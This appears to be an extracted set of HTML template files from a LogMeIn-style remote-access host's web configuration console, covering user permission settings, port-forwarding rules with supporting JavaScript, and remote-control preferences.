<td><label for="cfc"><?&MSG.CONFIG.PERMISSIONS.FULL?></label></td>
<td><input type="checkbox" id="cfc" name="maskFULL" value="1" =MASKFULL= onmouseover="showTip(event,'$MSG.CONFIG.PERMISSIONS.FULL.DESC$',false,'INPUT')"></td>
</tr>
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>
<td><label for="cui"><?&MSG.CONFIG.PERMISSIONS.FORCEUI?></label></td>
<td><input type="checkbox" id="cui" name="forceui" value="1" <?checked FORCEUI?> onmouseover="showTip(event,'$MSG.CONFIG.PERMISSIONS.FORCEUI.DESC$',false,'INPUT')"></td>
</tr>
<?if NOT BRAND.LOGMEIN?>
<tr>
<td><label for="sshstsh"><?&MSG.CONFIG.PERMISSIONS.SSHSTREAMSHELL?></label></td>
<td><input type="checkbox" id="sshstsh" name="sshstreamshell" value="1" <?checked SSHSTREAMSHELL?> onmouseover="showTip(event,'$MSG.CONFIG.PERMISSIONS.SSHSTREAMSHELL.DESC$',false,'INPUT')"></td>
</tr>
<?endif?>
<?endif?>
<?if Is9X?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.USERNAME?></td>
<td>
<input type="text"   name="accname" value="&ACCNAME&">
<input type="hidden" name="oldname" value="&ACCNAME&">
</td>
</tr>
<tr>
<td><?&MSG.DIALOG.PWDENTRY?></td>
<td><input type="password" name="PWD" <?if NEWUSER?>value=""<?else?>value="&INVALIDPASSWORD&"><?endif?></td>
</tr>
<tr>
<td><?&MSG.DIALOG.PWDCONFIRM?></td>
<td><input type="password" name="PWDCHK" <?if NEWUSER?>value=""<?else?>value="&INVALIDPASSWORD&"><?endif?></td>
</tr>
<?endif?>
<?if actions has "-cfgfilter-"?>
<tr>
<td><?&CONFIG.IPFILTER?></td>
<td>
<select name="IPFILTER">
<option value="">&CONFIG.NONE&</option>
<?enum IPFILTERS?>
<option value="&IPFILTER.NAME&" =IPFILTER.SELECTED=>&IPFILTER.NAME&</option>
<?next?>
</select>
</td>
</tr>
<?endif?>
</table>
<?endmacro?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CONFIG.PERMISSIONS.TITLE&</span></div>

<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=%MSG.CONFIG.PERMISSIONS.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>

<?if ERR // handle non-windows errors?>
<p><b>&MSG.CONFIG.PERMISSIONS:ERR&</b></p>
<?endif?>

<?switch OP?>
<?case "editlist"?>

<form action="&TEMPLATE&" method="post">
<br>
<fieldset>
<table><tr>
<td>		
<input type="hidden" name="op" value="editlist">
<?if IsNT and IsDomainMember ?>
<? action "trusteddomainlist" ?>
<input type="submit" name="userlist" value="&CONFIG.USERLIST.BTNTEXT&">&nbsp; 
(<label for="cul"><?&CONFIG.USERLIST.CACHED?>&nbsp;<input type="checkbox" id="cul" name="USERLISTCACHED" value="1" checked></label>)<br>
<?&CONFIG.USERLIST.FROM?>&nbsp;
<?if TRUSTEDDOMAINLIST?>
<select id="dmn" class="txt" name="USERLISTDOMAIN">
<?if not USERLISTDOMAIN
set USERLISTDOMAIN = DEFAULTDOMAIN
endif?>
<?enum TRUSTEDDOMAINLIST?>
<option value="&TRUSTEDDOMAINLIST.DECORNAME&" 
<?if USERLISTDOMAIN = TRUSTEDDOMAINLIST.PLAINNAME or USERLISTDOMAIN = TRUSTEDDOMAINLIST.DECORNAME?> 
selected 
<?endif?>
>&TRUSTEDDOMAINLIST.PLAINNAME&<?
if not THISCOMPUTER?> &MSG.LOGIN.THISCOMPUTER&<?
set THISCOMPUTER = "1"
endif
?></option>
<?next?>
</select>
<?else?>
<input type="text" name="USERLISTDOMAIN" value="&USERLISTDOMAIN&">
<?endif?>
<br>
<br>
<?endif?>
<select name="SID" size="36">
<option>----------------------------------------</option>
<?enum USERS?><option value="&USER.SID&" =USER.SELECTED=>&USER.NAME&</option><?next?>
<option>----------------------------------------</option>
</select>
</td>
<td valign="top" style="padding-top: 36; padding-left: 10;">
<?usemacro TICKS()?>
</td>
</tr></table>
</fieldset>
<p align="center">
<input type="submit" value="&DIALOG.ADD&" name="userupdate">
<input type="button" value="&DIALOG.CANCEL&" onclick="window.location='$TEMPLATE$'">
</p>
</form>

<?case "edit", "editnew"?>

<form action="&TEMPLATE&" method="post">
<fieldset>
<legend>&ACCNAME&</legend>
<?usemacro TICKS()?>
</fieldset>

<p align="center">	
<input type="hidden" name="op" value="updateentry">
<input type="hidden" name="sid" value="&SID&">
<input type="submit" value="&DIALOG.APPLY&" name="userupdate">
<input type="button" value="&DIALOG.CANCEL&" onclick="window.location='$TEMPLATE$'">
</p>

</form>

<?case default?>

<br><fieldset><legend>&MSG.CONFIG.PERMISSIONS.USERS&</legend><br>
<?if PERMISSIONS?>
<table class="inner">
<tr>
<th><?&MSG.CONFIG.PERMISSIONS.USERNAME?>&nbsp;</th>
<th><?&MSG.CONFIG.PERMISSIONS.PERMISSIONNAME?>&nbsp;</th>
<th><?&CONFIG.IPFILTER?>&nbsp;</th>
<th><?&DIALOG.DELETE?></th>
</tr>

<?enum PERMISSIONS?>
<tr>
<td>
<?if IsNT or IsUNIX?>
<a href="&TEMPLATE&?op=edit&sid=%PERMISSION.SID%">
<?else?>
<a href="&TEMPLATE&?op=edit&accname=%PERMISSION.NAME%">
<?endif?>

&PERMISSION.NAME&</a>
</td>

<td>
<?set NFIRST=""?>

<?if PERMISSION.FULL?>
<?&MSG.CONFIG.PERMISSIONS.FULL?>
<?endif?>

<?if PERMISSION.NONE?>
<?&MSG.CONFIG.PERMISSIONS.NONE?>
<?endif?>

<?if PERMISSION.BASIC?>
<?&MSG.CONFIG.PERMISSIONS.BASIC?>
<?set NFIRST="1"?>
<?endif?>

<?if PERMISSION.CONFIGURE?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.CONFIGURE?>&nbsp;(&PERMISSION.CONFIGURE&)
<?endif?>

<?if PERMISSION.SCRIPT?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SCRIPTS?>&nbsp;(&PERMISSION.SCRIPT&)
<?endif?>

<?if PERMISSION.EVENTVIEW?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.EVENTVIEW?>&nbsp;(&PERMISSION.EVENTVIEW&)
<?endif?>

<?if PERMISSION.FILE?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.FILE?>&nbsp;(&PERMISSION.FILE&)
<?endif?>

<?if PERMISSION.REGISTRY?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.REGISTRY?>&nbsp;(&PERMISSION.REGISTRY&)
<?endif?>

<?if PERMISSION.PERFORMANCE?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.PERFORMANCE?>
<?endif?>

<?if PERMISSION.PROCESS?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.PROCESS?>&nbsp;(&PERMISSION.PROCESS&)
<?endif?>

<?if PERMISSION.REBOOT?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.REBOOT?>
<?endif?>

<?if PERMISSION.RC?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.RC?>&nbsp;(&PERMISSION.RC&)
<?endif?>

<?if PERMISSION.WHITEBOARD?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.WHITEBOARD?>
<?endif?>

<?if PERMISSION.CHAT?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.CHAT?>
<?endif?>

<?if PERMISSION.ACCOUNTS?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.ACCOUNTS?>&nbsp;(&PERMISSION.ACCOUNTS&)
<?endif?>

<?if PERMISSION.SYSCONFIG?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SYSCONFIG?>&nbsp;(&PERMISSION.SYSCONFIG&)
<?endif?>

<?if PERMISSION.SSHSHELL?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHSHELL?>
<?endif?>

<?if PERMISSION.SSHPF?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHPF?>
<?endif?>

<?if PERMISSION.SSHPFUNREST?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHPFUNREST?>
<?endif?>

<?if PERMISSION.SSHPRIVPF?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHPRIVPF?>
<?endif?>

<?if PERMISSION.SSHSCP?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHSCP?>
<?endif?>

<?if PERMISSION.SSHSFTP?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.SSHSFTP?>
<?endif?>

<?if PERMISSION.TELNETJAVA?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.TELNETJAVA?>
<?endif?>

<?if PERMISSION.TELNET?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.TELNET?>
<?endif?>

<?if PERMISSION.DESKINV?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.GUESTINVITE?>
<?endif?>

<?if BRAND.LOGMEIN?>
<?if PERMISSION.BLANKSCREEN?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.BLANKSCREEN?>
<?endif?>

<?if PERMISSION.CTRLALTDEL?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.CTRLALTDEL?>
<?endif?>

<?if PERMISSION.KEYSTROKES?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.KEYSTROKES?>
<?endif?>

<?if PERMISSION.RESOLUTIONCHANGE?>
<?if NFIRST?>,&nbsp;<?else?><?set NFIRST="1"?><?endif?>
<?&MSG.CONFIG.PERMISSIONS.RESOLUTIONCHANGE?>
<?endif?>
<?endif?>
</td>

<td><?if PERMISSION.IPFILTER?>&PERMISSION.IPFILTER&<?else?><?&CONFIG.NONE?><?endif?></td>
<td align="center" valign="middle">
<a href="&TEMPLATE&?op=delete&<?if IsNT or IsUNIX?>sid=%PERMISSION.SID%<?else?>accname=%PERMISSION.NAME%<?endif?>"><img
border=0 src="img/ico_delete.png?bg=%COLOR.DlgBack%" alt="&DIALOG.DELETE&"></a>
</td>
</tr>
<?next?>
</table>
<?else?>
<table><tr><td align=center><?&MSG.CONFIG.PERMISSIONS.NOTDEF?></td></tr></table>
<?endif?>

<div id="AccNameDlg" class="subwindow" style="left:10%;top:80px;width:80%;height:auto;">			
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.PERMISSIONS.TITLE&</span></div>
<center>
<form name="AccNameForm" action="&TEMPLATE&" method="post">
<?&MSG.CONFIG.PERMISSIONS.USERNAME?>:&nbsp;<input type="text" name="accname">
<br><br>
<input type="hidden" name="op" value="editnew">
<input type="submit" value="&MSG.DIALOG.ADD&" name="useradd">
<?if IsNT?>
<input type="submit" value="&MSG.DIALOG.LISTUSERS&" name="userlist">
<?endif?>
<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="winHide('AccNameDlg');">
</form>
</center>
</div>
<table><tr><td align=center><input type="button" value="&DIALOG.ADD&" onclick="winShow('AccNameDlg');"></td></tr></table>

<br></fieldset>

<br><br>

<fieldset><legend>&MSG.CONFIG.PERMISSIONS.SETTINGS&</legend><br>
<form action="&TEMPLATE&" method="post">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<input type="hidden" name="op" value="update">
<table>
<?if ISNT or ISUNIX?>
<tr>
<td align=right><label for="caa"><?&MSG.CONFIG.PERMISSIONS.ADMINACC?></label></td>
<td><input type="checkbox" id="caa" name="ADMINACC" value="1" =ADMINACC= <?disabled ADMINACC.LOCKED?>></td>
</tr>
<?if ISNT?>
<tr>
<td align=right><label for="cnt"><?&MSG.CONFIG.PERMISSIONS.NTLM?></label></td>
<td><input type="checkbox" id="cnt" name="NTLM" value="1" =NTLM= <?disabled NTLM.LOCKED?>></td>
</tr>
<?endif?>
<?endif?>
<?if BRAND.LOGMEIN?>
<tr>
<td align=right><label for="cal"><?&MSG.CONFIG.PERMISSIONS.ENABLEAUTOLOGIN?></label></td>
<td><input type="checkbox" id="ceal" name="AllowAutoLogin" value="1" =AllowAutoLogin= <?disabled EnableAutoLogin.LOCKED?>></td>
</tr>
<?endif?>
<tr>
<td align=right><label for="cuc"><?&MSG.CONFIG.PERMISSIONS.USER2COOKIE?></label></td>
<td><input type="checkbox" id="cuc" name="USER2COOKIE" value="1" =USER2COOKIE= <?disabled USER2COOKIE.LOCKED?>></td>
</tr>
<?if not ISUNIX?>
<tr>
<td align=right><label for="csd"><?&MSG.CONFIG.PERMISSIONS.DONTLISTDOMAINS?></label></td>
<td><input type="checkbox" id="csd" name="DontListDomains" value="1" =DontListDomains= <?disabled DontListDomains.LOCKED?>></td>
</tr>
<?endif?>
<tr>
<td align=right><label for="ceo"><?&MSG.CONFIG.PERMISSIONS.ENABLEOPTION?></label></td>
<td><input type="checkbox" id="ceo" name="ENABLEOPTION" value="1" =ENABLEOPTION= <?disabled ENABLEOPTION.LOCKED?>></td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr>
<td align="center" colspan="2"><input type="submit" value="&DIALOG.APPLY&"></td>
</tr>
</table>
</form>
<br></fieldset>
<br><br>
<?if UITYPE="LMI"?>
<?if REQ.BACK?>&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='$REQ.BACK$'"><?endif?>
<?endif?>

<?endswitch?>

</center>
</div>
</body>
</html>
))Wcfgportfwd.htmlF!˛<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
if REQ.OP
action "cfgpfwd"
usemacro WINERRDLG()
endif
set REQ.OP = "list"
action "cfgpfwd"
usemacro WINERRDLG()
?>
<script language="JavaScript">
var rules = new Array();
var i = 1;
<?if RULES?>
<?enum RULES?>
var o = new Object();
o.idx = <?&RULE.INDEX?>;
o.iProt = "<?&RULE.IN.TYPE?>";
o.iAddr = "<?&RULE.IN.ADDR?>";
o.iPort = "<?&RULE.IN.PORT?>";
o.oProt = "<?&RULE.OUT.TYPE?>";
o.oAddr = "<?&RULE.OUT.ADDR?>";
o.oPort = "<?&RULE.OUT.PORT?>";
o.defer = "<?&RULE.DEFER _spn?>";
o.timeo = "<?&RULE.TIMEOUT _spn?>";
o.descr = "<?&RULE.DESCR?>";
o.profl = "<?&RULE.PROFILE?>";
o.enabl = "<?&RULE.ENABLED?>";
rules[i++] = o;
<?next?>
<?endif?>
function showDlg(existing) {
if (existing > 0) {
if (trows != null) {
if (trows.getSelectedIndexes().length == 0) return;
} else {
return;
}
}
winShow( "fwdProp", true );
if (existing > 0) {
var	selrows = trows.getSelectedIndexes();
var actidx = selrows[0]-1;
document.forms.PropForm["chkEnabled"].checked	= (rules[actidx].enabl=="1");
document.forms.PropForm["INTYPE"].value  = rules[actidx].iProt;
document.forms.PropForm["INADDR"].value  = rules[actidx].iAddr;
document.forms.PropForm["INPORT"].value  = rules[actidx].iPort;
document.forms.PropForm["OUTTYPE"].value = rules[actidx].oProt;
document.forms.PropForm["OUTADDR"].value = rules[actidx].oAddr;
document.forms.PropForm["OUTPORT"].value = rules[actidx].oPort;
document.forms.PropForm["DEFER"].value   = rules[actidx].defer;
document.forms.PropForm["TIMEOUT"].value = rules[actidx].timeo;
document.forms.PropForm["DESCR"].value   = rules[actidx].descr;
document.forms.PropForm["PROFILE"].value = rules[actidx].profl;
document.forms.PropForm["ENABLED"].value = rules[actidx].enabl;
document.forms.PropForm["OP"].value  = "set";
document.forms.PropForm["IDX"].value = rules[actidx].idx;
} else {
document.forms.PropForm["INPORT"].value  = "";
document.forms.PropForm["OUTADDR"].value = "";
document.forms.PropForm["OUTPORT"].value = "";
document.forms.PropForm["DEFER"].value   = "<?$DEFAULT.DEFER _spn?>";
document.forms.PropForm["TIMEOUT"].value = "<?$DEFAULT.TIMEOUT _spn?>";
document.forms.PropForm["chkEnabled"].checked = true;
document.forms.PropForm["OP"].value = "add";
}
}
function delItem() {
if (trows != null) {
if (trows.getSelectedIndexes().length == 0) return;
} else {
return;
}
var	selrows = trows.getSelectedIndexes();
var url = "$TEMPLATE$?OP=DEL";
for( var i = 0; i < selrows.length; i++) {
url += "&idx=" + rules[selrows[i]-1].idx;
}
window.location = url;
}
function checkForm() {
if (PropForm.OUTADDR.value.length < 3
|| PropForm.OUTPORT.value.length < 1 
|| PropForm.INPORT.value.length < 1 )
return false;
PropForm.ENABLED.value = (PropForm.chkEnabled.checked ? "1" : "0");
//		PropForm.OUTPROTO.value = PropForm.outProto[getSelectedIndex()].value;
return true;
}
function chkToolbar() {
document.images["toolattr"].src="img/ico_prop.gif"; 
document.images["tooldel"].src="img/ico_delete.gif"; 
}
</script>

<div class="window" style="height:96%">
<div class="titleBar"><?usemacro TITLEICON("server")?><span class="titleText">&CONFIG.PORTFWD.TITLE&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.PORTFWD.TITLE%&favicon=menu_server.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<img onclick="showDlg(0)" src="img/ico_newdoc.gif" title="&CONFIG.PORTFWD.TIP.CREATE&" border="0">
<img id="toolattr" onclick="showDlg(1)" src="img/ico_prop_off.gif" title="&CONFIG.PORTFWD.TIP.PROP&" border="0">
<a href="javascript:delItem()"><img	id="tooldel"	src="img/ico_delete_off.gif"	title="&CONFIG.PORTFWD.TIP.DEL&" border="0"></a>
</div>
</div>

<?if RULES?>
<br>
<table id="flist" class="inner" align=center width="80%">
<!-- HEADER -->
<thead>
<tr>
<th rowspan=2>&nbsp;</th>
<th colspan=3><?&CONFIG.PORTFWD.IN?></th>
<th colspan=3><?&CONFIG.PORTFWD.OUT?></th>
<th rowspan=2><?&CONFIG.PORTFWD.TIMEOUT?></th>
<th rowspan=2><?&CONFIG.PORTFWD.DEFER?></th>
<th rowspan=2><?&CONFIG.PORTFWD.STATUS?></th>
<th rowspan=2><?&MSG.DESC?></th>
</tr>
<tr class="ttd">
<td><?&CONFIG.TELNET.PROTO?>&nbsp;</td>
<td><?&INFO.PORT.IP?>&nbsp;</td>
<td><?&INFO.PORT.PORT?>&nbsp;</td>
<td><?&CONFIG.TELNET.PROTO?>&nbsp;</td>
<td><?&INFO.PORT.IP?>&nbsp;</td>
<td><?&INFO.PORT.PORT?>&nbsp;</td>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?if RULES?>
<?enum RULES?>
<tr onclick="chkToolbar()" 
ondblclick="showDlg(1)">
<td><?&RULE.INDEX?></td>
<td><?&RULE.IN.TYPE?></td>
<td><?&RULE.IN.ADDR?></td>
<td class="num"><?&RULE.IN.PORT?></td>
<td><?&RULE.OUT.TYPE?></td>
<td><?&RULE.OUT.ADDR?></td>
<td class="num"><?&RULE.OUT.PORT?></td>
<td class="num"><?&RULE.TIMEOUT _spn?></td>
<td class="num"><?&RULE.DEFER _spn?></td>
<td>
<?
if RULE.ENABLED
&CONFIG.PORTFWD.ENABLED
else
&CONFIG.PORTFWD.DISABLED
endif
?>
</td>
<td><?&RULE.DESCR?></td>
</tr>
<?next?>
<?endif?>
</tbody>
</table>
<script type="text/javascript">
// MULTISELECT TABLE
var trows = new SelectableTableRows(document.getElementById("flist"), true);
</script>
</table>
</div>	
<?else?>
<p>&nbsp;

</p>
<p>
<center>
<?&CONFIG.PORTFWD.NORULES?>
<?&CONFIG.PORTFWD.PLEASECLICKSTART?>
</center>
</p>
<script type="text/javascript">
var trows = null;
</script>
<?endif?>

<div id="fwdProp" class="subwindow" style="left:150px;top:90px;width:450;">
<div class="titleBar"><img src="img/menu_server.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;<?&CONFIG.PORTFWD.TITLE?> - <?&PROPS?></div>
<center>
<form action="&TEMPLATE&" method="get" ID="PropForm">
<fieldset><legend>In</legend>
<table width="95%">
<tr><td width="40%"align="right"><?&CONFIG.TELNET.PROTO?>: </td><td>
<select name="INTYPE" size="1">
<option value="tcp"><?&CONFIG.PORTFWD.TCP?></option>
<option value="ssl"><?&CONFIG.PORTFWD.SSL?></option>
<option value="cssl"><?&CONFIG.PORTFWD.CSSL?></option>
</select>
</td></tr>
<tr><td align="right"><?&INFO.PORT.IP?>: </td><td>
<select name="INADDR" size="1">
<?enum IPS?><option value="&IP.ADDR&">&IP.ADDR& (&IP.HOST&)</option><?next?>
</select>
</td></tr>
<tr><td align="right"><?&INFO.PORT.PORT?>: </td><td><input type="text" name="INPORT"></td></tr>
<tr><td align="right"><?&CONFIG.PORTFWD.FILTER?>: </td><td>
<select name="PROFILE" size="1">
<option value="">$CONFIG.NONE$</option>
<?if IPFPS > 0?>
<?enum IPFPS?><option value="&IPFP.NAME&">&IPFP.NAME&</option><?next?>
<?endif?>
</select>
<input type="button" value="$CONFIG.IPFILTER.PROFILES$" onclick="window.location='/cfgfilter.html'">
</td></tr>
</table>
</fieldset>
<fieldset><legend>Out</legend>
<table width="95%">
<tr><td width="40%" align="right"><?&CONFIG.TELNET.PROTO?>: </td><td>
<select name="OUTTYPE" size="1">
<option value="tcp"><?&CONFIG.PORTFWD.TCP?></option>
<option value="ssl"><?&CONFIG.PORTFWD.SSL?></option>
<option value="cssl"><?&CONFIG.PORTFWD.CSSL?></option>
</select>
</td></tr>
<tr><td align="right"><?&INFO.PORT.IP?>: </td><td><input type="text" name="OUTADDR"></td></tr>
<tr><td align="right"><?&INFO.PORT.PORT?>: </td><td><input type="text" name="OUTPORT"></td></tr>
</table>
</fieldset>
<fieldset>
<table width="95%">
<tr><td width="40%" align="right"><?&CONFIG.PORTFWD.DEFER?>: </td><td><input type="text" name="DEFER"></td></tr>
<tr><td align="right"><?&CONFIG.PORTFWD.TIMEOUT?>: </td><td><input type="text" name="TIMEOUT"></td></tr>
<tr><td align="right"><?&MSG.DESC?>: </td><td><input type="text" name="DESCR"></td></tr>
<tr><td align="right"><?&CONFIG.PORTFWD.ENABLED?>: </td><td><input type="checkbox" name="chkEnabled"></td></tr>
</table>
</fieldset><br><br>
<input type="submit" value="<?&DIALOG.Apply?>" onclick="checkForm()">
<input type="button" value="<?&DIALOG.Back?>" onclick="winShow( 'fwdProp', false )">
<input type="hidden" name="ENABLED" value="">
<input type="hidden" name="OP" value="">
<input type="hidden" name="IDX" value="">
</form><center>
</div>	
</body>
</html>
,:ʲcfgremctrl.html;<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
action "cfgremctrl"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.REMCTRL.TITLE&<?if MSG?> - &CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.REMCTRL.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="remctrl.html?%RND%"><img src="img/ico_exec.gif" border="0" title="&MSG.REMCTRL.TITLE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="update">
<br>
<fieldset><legend>&MSG.CONFIG.REMCTRL.GENERALSETTINGS&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>
<td>&MSG.CONFIG.REMCTRL.AllowInvites&</td>
<td><input type="checkbox" name="AllowInvites" value="1" &AllowInvites& <?disabled AllowInvites.LOCKED?>></td>
</tr>
<?endif?>
<?if not ISUNIX?>
<tr>
<td>&MSG.CONFIG.REMCTRL.UseMirrorDriver&</td>
<td><input type="checkbox" name="UseMirrorDriver" value="1" &UseMirrorDriver& <?disabled UseMirrorDriver.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.DisableWallpaper&</td>
<td><input type="checkbox" name="DisableWallpaper" value="1" &DisableWallpaper& <?disabled DisableWallpaper.LOCKED?>></td>
</tr>
<?endif?>
<tr>
<td>&MSG.CONFIG.REMCTRL.AutoclipboardSize&</td>
<td><input type="text" name="AutoclipboardSize" value="&AutoclipboardSize&" <?disabled AutoclipboardSize.LOCKED?>> &MSG.KILOBYTE& (&MSG.CONFIG.REMCTRL.AutoclipboardSizeExplain&)</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AutoPan&</td>
<td><input type="checkbox" name="AutoPan" value="1" &AutoPan& <?disabled AutoPan.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.ControlType&</td>
<td>
<select name="ControlType" <?disabled ControlType.LOCKED?>>
<?if ACTIONS has "-activex-"?>
<option <?selected ControlType = "activex"?> value="activex"> &MSG.CONFIG.REMCTRL.ActiveXControlType& </option>
<?endif?>
<?if ACTIONS has "-remctrl2-"?>
<option <?selected ControlType = "html"?> value="html"> &MSG.CONFIG.REMCTRL.HTMLControlType& </option>
<?endif?>
</select>
</td>
</tr>
<? if not IS9X and not ISUNIX ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.CtrlAltDelHotkey&</td>
<td>
<select name="CtrlAltDelHotkey" <?disabled CtrlAltDelHotkey.LOCKED?>>
<option <?selected CtrlAltDelHotkey = "ctrl-alt-ins"?> value="ctrl-alt-ins"> &MSG.CONFIG.REMCTRL.CtrlAltIns&
<option <?selected CtrlAltDelHotkey = "ctrl-alt-f12"?> value="ctrl-alt-f12"> &MSG.CONFIG.REMCTRL.CtrlAltF12&
<option <?selected CtrlAltDelHotkey = "ctrl-alt-f1"?>  value="ctrl-alt-f1">  &MSG.CONFIG.REMCTRL.CtrlAltF1&
</select>
</td>
</tr>
<? endif ?>
<? if ISMAC ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.PCMacKeyMap&</td>
<td>
<select name="PCMacKeyMap" <?disabled PCMacKeyMap.LOCKED?>>
<option <?selected PCMacKeyMap = "alt_to_alt"?> value="alt_to_alt"> &MSG.CONFIG.REMCTRL.AltToAlt&
<option <?selected PCMacKeyMap = "alt_to_cmd"?> value="alt_to_cmd"> &MSG.CONFIG.REMCTRL.AltToCmd&
</select>
</td>
</tr>
<? endif ?>
</table>
</fieldset>
<br><br>
<? if not IS9X and not ISLINUX ?>
<fieldset><legend>&MSG.MENU.SECURITY&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<? if not ISMAC ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.DisableLocalInput&</td>
<td><input type="checkbox" name="DisableLocalInput" value="1" &DisableLocalInput& <?disabled DisableLocalInput.LOCKED?>></td>
</tr>
<? if UseDisableHostMonitor ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.DisableHostMonitor&</td>
<td><input type="checkbox" name="DisableHostMonitor" value="1" &DisableHostMonitor& <?disabled DisableHostMonitor.LOCKED?>></td>
</tr>
<? endif ?>
<? endif ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.LockConsole&</td>
